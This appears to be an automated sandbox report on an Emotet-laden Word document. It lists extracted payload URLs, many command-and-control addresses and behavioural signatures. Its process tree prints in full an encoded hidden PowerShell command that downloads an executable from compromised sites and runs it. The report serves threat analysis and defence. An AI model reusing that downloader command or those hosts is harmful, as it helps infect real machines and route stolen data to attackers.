Analysis
-
max time kernel
28s -
resource
win10v191014 -
submitted
17-01-2020 00:49
General
Malware Config
Extracted
http://amelano.net/wp-includes/css/dist/2ew/
http://911concept.com/images/i6ngX5/
http://ayonschools.com/UBkoqn/
http://beech.org/wayne/lldo/
http://firelabo.com/wp-includes/mf6f4/
Extracted
emotet
68.172.243.146:80
64.40.250.5:80
81.17.92.70:80
91.250.96.22:8080
37.187.72.193:8080
104.131.44.150:8080
167.71.10.37:8080
37.139.21.175:8080
73.11.153.178:8080
192.241.255.77:8080
91.205.215.66:443
201.229.45.222:8080
46.105.131.87:80
188.0.135.237:80
78.142.114.69:80
64.53.242.181:8080
93.147.141.5:443
101.187.134.207:8080
72.189.57.105:80
190.117.126.169:80
206.81.10.215:8080
210.6.85.121:80
189.203.177.41:443
181.13.24.82:80
98.174.166.205:80
98.30.113.161:80
101.187.197.33:443
78.189.180.107:80
50.116.86.205:8080
181.143.126.170:80
104.131.11.150:8080
190.117.226.104:80
91.73.197.90:80
121.88.5.176:443
78.24.219.147:8080
182.176.132.213:8090
181.126.70.117:80
190.146.205.227:8080
5.32.55.214:80
47.180.91.213:80
47.153.183.211:80
179.13.185.19:80
209.97.168.52:8080
27.109.153.201:8090
139.130.241.252:443
178.153.176.124:80
186.86.247.171:443
178.20.74.212:80
87.106.139.101:8080
190.53.135.159:21
62.138.26.28:8080
87.230.19.21:8080
24.94.237.248:80
103.86.49.11:8080
105.247.123.133:8080
66.34.201.20:7080
176.106.183.253:8080
221.165.123.72:80
95.128.43.213:8080
66.7.242.50:8080
47.6.15.79:80
223.197.185.60:80
103.97.95.218:80
120.150.246.241:80
92.222.216.44:8080
70.175.171.251:80
104.236.246.93:8080
105.27.155.182:80
95.213.236.64:8080
2.237.76.249:80
120.151.135.224:80
5.196.74.210:8080
160.16.215.66:8080
41.60.200.34:80
59.103.164.174:80
200.21.90.5:443
98.156.206.153:80
173.21.26.90:80
24.105.202.216:443
47.6.15.79:443
5.154.58.24:80
87.106.136.232:8080
78.186.5.109:443
205.185.117.108:8080
24.164.79.147:8080
115.95.6.218:443
79.159.249.152:80
206.189.112.148:8080
60.250.78.22:443
108.191.2.72:80
209.141.54.221:8080
31.31.77.83:443
85.152.174.56:80
200.116.145.225:443
178.237.139.83:8080
47.156.70.145:80
190.55.181.54:443
209.146.22.34:443
217.160.182.191:8080
211.63.71.72:8080
190.220.19.82:443
201.173.217.124:443
88.249.120.205:80
62.75.141.82:80
72.186.137.156:80
201.184.105.242:443
110.36.217.66:8080
70.169.53.234:80
108.179.206.219:8080
31.172.240.91:8080
159.65.25.128:8080
118.185.7.132:80
195.244.215.206:80
169.239.182.217:8080
60.231.217.199:8080
46.105.131.69:443
45.33.49.124:443
177.239.160.121:80
37.157.194.134:443
70.46.247.81:80
183.102.238.69:465
139.130.242.43:80
197.89.27.26:8080
58.171.42.66:8080
24.196.49.98:80
180.92.239.110:8080
149.202.153.252:8080
Signatures
-
Drops file in System32 directory 1 IoCs
Processes:
267.exedescription ioc process File renamed C:\Users\Admin\267.exe => C:\Windows\SysWOW64\wsatlua.exe 267.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
WINWORD.EXE267.exe267.exewsatlua.exewsatlua.exepid process 5004 WINWORD.EXE 4440 267.exe 3824 267.exe 4396 wsatlua.exe 4360 wsatlua.exe -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4612 332 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4612 Powershell.exe -
Executes dropped EXE 4 IoCs
Processes:
267.exe267.exewsatlua.exewsatlua.exepid process 4440 267.exe 3824 267.exe 4396 wsatlua.exe 4360 wsatlua.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
267.exewsatlua.exepid process 3824 267.exe 4360 wsatlua.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 5004 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4612 Powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
Powershell.exe267.exewsatlua.exedescription pid process target process PID 4612 wrote to memory of 4440 4612 Powershell.exe 267.exe PID 4440 wrote to memory of 3824 4440 267.exe 267.exe PID 4396 wrote to memory of 4360 4396 wsatlua.exe wsatlua.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c984833db58812ed08f1b0560576ec19bfec60b0a8103292c206042ef12007fc.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:5004
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABXAGgAaAB2AGQAeAByAGIAcQB3AGwAawBmAD0AJwBBAG8AawBqAHMAdgBuAGcAcgBsAGsAZABrACcAOwAkAEQAYQBiAHcAZwByAGwAcwBjAGIAbgB1AGQAIAA9ACAAJwAyADYANwAnADsAJABXAGkAcwBhAGwAeABuAGcAeQBtAHkAawA9ACcASABmAHIAZABhAHoAagB1AG0AYwBqAGIAcAAnADsAJABQAHEAegBvAHEAeABzAGYAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARABhAGIAdwBnAHIAbABzAGMAYgBuAHUAZAArACcALgBlAHgAZQAnADsAJABUAGgAdQBwAGEAbwBiAG4AegBuAGMAYgA9ACcARwB3AGMAZwB3AGUAZQBtAGcAZgAnADsAJABSAHQAZwBsAHAAagBiAHUAbAA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQAWQB6AHUAZABqAGYAbQBrAHkAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAGUAbABhAG4AbwAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYwBzAHMALwBkAGkAcwB0AC8AMgBlAHcALwAqAGgAdAB0AHAAOgAvAC8AOQAxADEAYwBvAG4AYwBlAHAAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBpADYAbgBnAFgANQAvACoAaAB0AHQAcAA6AC8ALwBhAHkAbwBuAHMAYwBoAG8AbwBsAHMALgBjAG8AbQAvAFUAQgBrAG8AcQBuAC8AKgBoAHQAdABwADoALwAvAGIAZQBlAGMAaAAuAG8AcgBnAC8AdwBhAHkAbgBlAC8AbABsAGQAbwAvACoAaAB0AHQAcAA6AC8ALwBmAGkAcgBlAGwAYQBiAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AZgA2AGYANAAvACcALgAiAFMAYABQAEwAaQB0ACIAKAAnACoAJwApADsAJABDAHcAcAByAGoAaABjAG8AZQBmAD0AJwBaAGcAZgBzAHIAcQB5AHkAZgBqAGcAZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAgAGkAbgAgACQAWQB6AHUAZABqAGYAbQBrAHkAKQB7AHQAcgB5AHsAJABSAHQAZwBsAHAAagBiAHUAbAAuACIAZABPAHcAYABOAEwAYABPAGEAZABGAGAAaQBMAEUAIgAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAsACAAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABUAGcAbgBoAGEAbwBuAHAAbQBlAHgAaQA9ACcAWQBwAGYAYQBzAGcAaABwAHkAbAB1AHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABQAHEAegBvAHEAeABzAGYAaQApAC4AIgBMAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADIANQA4ADUAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAVAAiACgAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABTAHEAawBrAG4AbwB3AGEAdwA9ACcASQBqAHUAYgB2AGoAbQBkAHoAcQBkACcAOwBiAHIAZQBhAGsAOwAkAEEAbwBlAGgAYgBuAGsAaABqAGoAdAA9ACcAWABxAGcAYgBvAGoAdgBjAHkAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAGsAZABlAGQAcABwAGsAeABrAHoAawBvAD0AJwBVAGkAeQBhAGEAbQBpAG0AdwB4ACcA1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Users\Admin\267.exe"C:\Users\Admin\267.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4440 -
C:\Users\Admin\267.exe--253d0d113⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:3824
-
-
-
C:\Windows\SysWOW64\wsatlua.exe"C:\Windows\SysWOW64\wsatlua.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\SysWOW64\wsatlua.exe--907a307f2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:4360
-